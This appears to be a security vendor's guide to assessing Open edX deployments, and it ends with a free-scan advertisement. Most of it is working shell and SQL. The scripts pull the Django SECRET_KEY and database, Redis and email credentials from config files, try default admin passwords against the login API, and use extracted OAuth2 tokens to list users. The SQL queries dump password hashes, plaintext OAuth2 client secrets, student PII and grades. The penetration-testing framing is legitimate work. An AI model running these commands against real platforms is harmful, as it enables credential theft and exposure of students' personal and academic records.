Open edX is the platform powering edX.org, MIT OpenCourseWare, and thousands of enterprise MOOC deployments worldwide. Key assessment areas: lms.env.json exposes the Django SECRET_KEY enabling session cookie forgery; lms.auth.json contains MySQL, MongoDB, and Redis credentials; admin/edx is a frequent default; OAuth2 client secrets may be exposed in the database; and the platform holds extensive student PII and grade records. This guide covers systematic Open edX security assessment.
# Open edX — lms.env.json and lms.auth.json credential extraction
EDX_URL="https://lms.example.com"
# lms.env.json — Django configuration including SECRET_KEY
# Location varies by deployment method
for CONFIG_PATH in \
"/edx/app/edxapp/lms.env.json" \
"/edx/etc/lms.yml" \
"/home/edx/edx-platform/lms/envs/lms.env.json" \
"/var/edxapp/lms.env.json"; do
if [ -f "${CONFIG_PATH}" ]; then
echo "=== ${CONFIG_PATH} ==="
python3 -c "
import json
d=json.load(open('${CONFIG_PATH}'))
print(f'SECRET_KEY: {d.get(\"SECRET_KEY\",\"not found\")[:40]}...')
" 2>/dev/null
fi
done
# lms.auth.json — Database and service credentials
for AUTH_PATH in \
"/edx/app/edxapp/lms.auth.json" \
"/edx/etc/lms.yml" \
"/home/edx/edx-platform/lms/envs/lms.auth.json"; do
if [ -f "${AUTH_PATH}" ]; then
echo "=== ${AUTH_PATH} ==="
python3 -c "
import json
d=json.load(open('${AUTH_PATH}'))
# MySQL
db = d.get('DATABASES',{}).get('default',{})
print(f'MySQL host: {db.get(\"HOST\")}')
print(f'MySQL db: {db.get(\"NAME\")}')
print(f'MySQL user: {db.get(\"USER\")}')
print(f'MySQL pass: {str(db.get(\"PASSWORD\",\"\"))[:40]}')
# Redis
cs = d.get('CONTENTSTORE',{})
redis = d.get('CACHE_STORE',{})
print(f'MongoDB host: {d.get(\"DOC_STORE_CONFIG\",{}).get(\"host\")}')
print(f'Redis location: {d.get(\"BROKER_URL\",\"\")}')
print(f'Email host pw: {d.get(\"EMAIL_HOST_PASSWORD\",\"\")}')
" 2>/dev/null
fi
done
# Test default admin credentials
for CRED in "admin:edx" "admin:admin" "staff:edx" "edx:edx"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${EDX_URL}/api/user/v1/account/login_session/" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${USER}@example.com\",\"password\":\"${PASS}\"}" \
-c /tmp/edx_c -b /tmp/edx_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Open edX REST API — OAuth2 and admin credential assessment
EDX_URL="https://lms.example.com"
# Open edX REST API uses OAuth2 with client credentials
# OAuth2 clients are registered in Django admin or via management command
# Get OAuth2 access token with client credentials
CLIENT_ID="extracted-client-id"
CLIENT_SECRET="extracted-client-secret"
curl -s -X POST "${EDX_URL}/oauth2/access_token/" \
-d "grant_type=client_credentials&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&token_type=jwt" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Access token: {d.get(\"access_token\",\"error\")[:40]}...')
print(f'Expires in: {d.get(\"expires_in\")}')
" 2>/dev/null
# With admin session — access Django admin API
ACCESS_TOKEN="extracted-oauth2-token"
curl -s "${EDX_URL}/api/user/v1/accounts" \
-H "Authorization: JWT ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Results: {d.get(\"count\")} users')
for u in d.get('results',[])[:5]:
print(f' {u.get(\"username\")} | {u.get(\"email\")} | staff={u.get(\"is_staff\")}')
except: pass
" 2>/dev/null
# Enrollment API — list all course enrollments for a user
USERNAME="target-username"
curl -s "${EDX_URL}/api/enrollment/v1/enrollment?user=${USERNAME}" \
-H "Authorization: JWT ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Enrollments: {len(d) if isinstance(d,list) else \"error\"}')
for e in (d if isinstance(d,list) else [])[:5]:
print(f' {e.get(\"course_id\")} — {e.get(\"mode\")}')
except: pass
" 2>/dev/null
# Open edX MySQL database — auth_user hash, student PII, and grade extraction
DB_PASS="extracted-db-password"
DB_NAME="edxapp"
mysql -u edxapp -p"${DB_PASS}" "${DB_NAME}" 2>/dev/null << 'EOF'
-- Open edX auth_user — all users with password hashes
SELECT u.id, u.username, u.email, u.password,
u.is_staff, u.is_superuser, u.is_active,
u.date_joined, u.last_login
FROM auth_user u
WHERE u.is_active = 1
ORDER BY u.id
LIMIT 20;
-- password: Django PBKDF2-SHA256 format: pbkdf2_sha256$N$salt$hash
-- is_superuser=1: full Django admin access
-- Staff and superusers
SELECT u.username, u.email, u.password,
u.is_staff, u.is_superuser
FROM auth_user u
WHERE u.is_staff = 1 OR u.is_superuser = 1;
-- OAuth2 client secrets (DOT OAuth2 clients)
SELECT c.id, c.name, c.client_id, c.client_secret,
c.client_type, c.authorization_grant_type,
u.username, u.email
FROM oauth2_provider_application c
JOIN auth_user u ON u.id = c.user_id
ORDER BY c.id
LIMIT 20;
-- client_secret: plaintext OAuth2 secret for access_token endpoint
-- Student course enrollments with grades
SELECT u.username, u.email,
ce.course_id, ce.mode as enrollment_mode,
g.percent_grade, g.letter_grade,
g.modified
FROM student_courseenrollment ce
JOIN auth_user u ON u.id = ce.user_id
LEFT JOIN grades_persistentcoursegrade g ON g.user_id = ce.user_id
AND g.course_id = ce.course_id
WHERE g.percent_grade IS NOT NULL
ORDER BY u.id
LIMIT 20;
-- Student profile PII (extended user data)
SELECT u.username, u.email,
p.name as full_name, p.gender, p.year_of_birth,
p.country, p.level_of_education, p.goals,
p.allow_certificate
FROM auth_user u
JOIN auth_userprofile p ON p.user_id = u.id
ORDER BY u.id
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| lms.env.json Django SECRET_KEY extraction | Read /edx/app/edxapp/lms.env.json — SECRET_KEY for Django session cookie forgery as any user including superusers; no password knowledge required | Critical |
| lms.auth.json MySQL, MongoDB, Redis credential extraction | Read /edx/app/edxapp/lms.auth.json — all backing service credentials; full database access to student PII, grades, and course content | Critical |
| oauth2_provider_application plaintext client_secret extraction | MySQL SELECT client_secret FROM oauth2_provider_application — plaintext OAuth2 secrets; full API access at associated user permission level | High |
| Admin credential brute-force (admin/edx) | POST /admin/ Django admin login — superuser access; all user data, course management, grade modification | High |
| auth_userprofile student PII and grades_persistentcoursegrade extraction | MySQL SELECT from auth_userprofile JOIN grades_persistentcoursegrade — student names, demographics, course completion grades; FERPA/GDPR-relevant academic records | High |
Ironimo tests Open edX deployments for lms.env.json Django SECRET_KEY session cookie forgery key extraction, lms.auth.json MySQL/MongoDB/Redis credential extraction, admin/edx default credential brute-force at /admin/, oauth2_provider_application plaintext OAuth2 client_secret enumeration, auth_user PBKDF2-SHA256 hash extraction with superuser identification, auth_userprofile student PII (name, gender, country, education level) access, grades_persistentcoursegrade course completion percentage extraction, MongoDB unauthenticated access assessment on port 27017, Redis unauthenticated session data access on port 6379, and Open edX version disclosure for CVE targeting.
Start free scan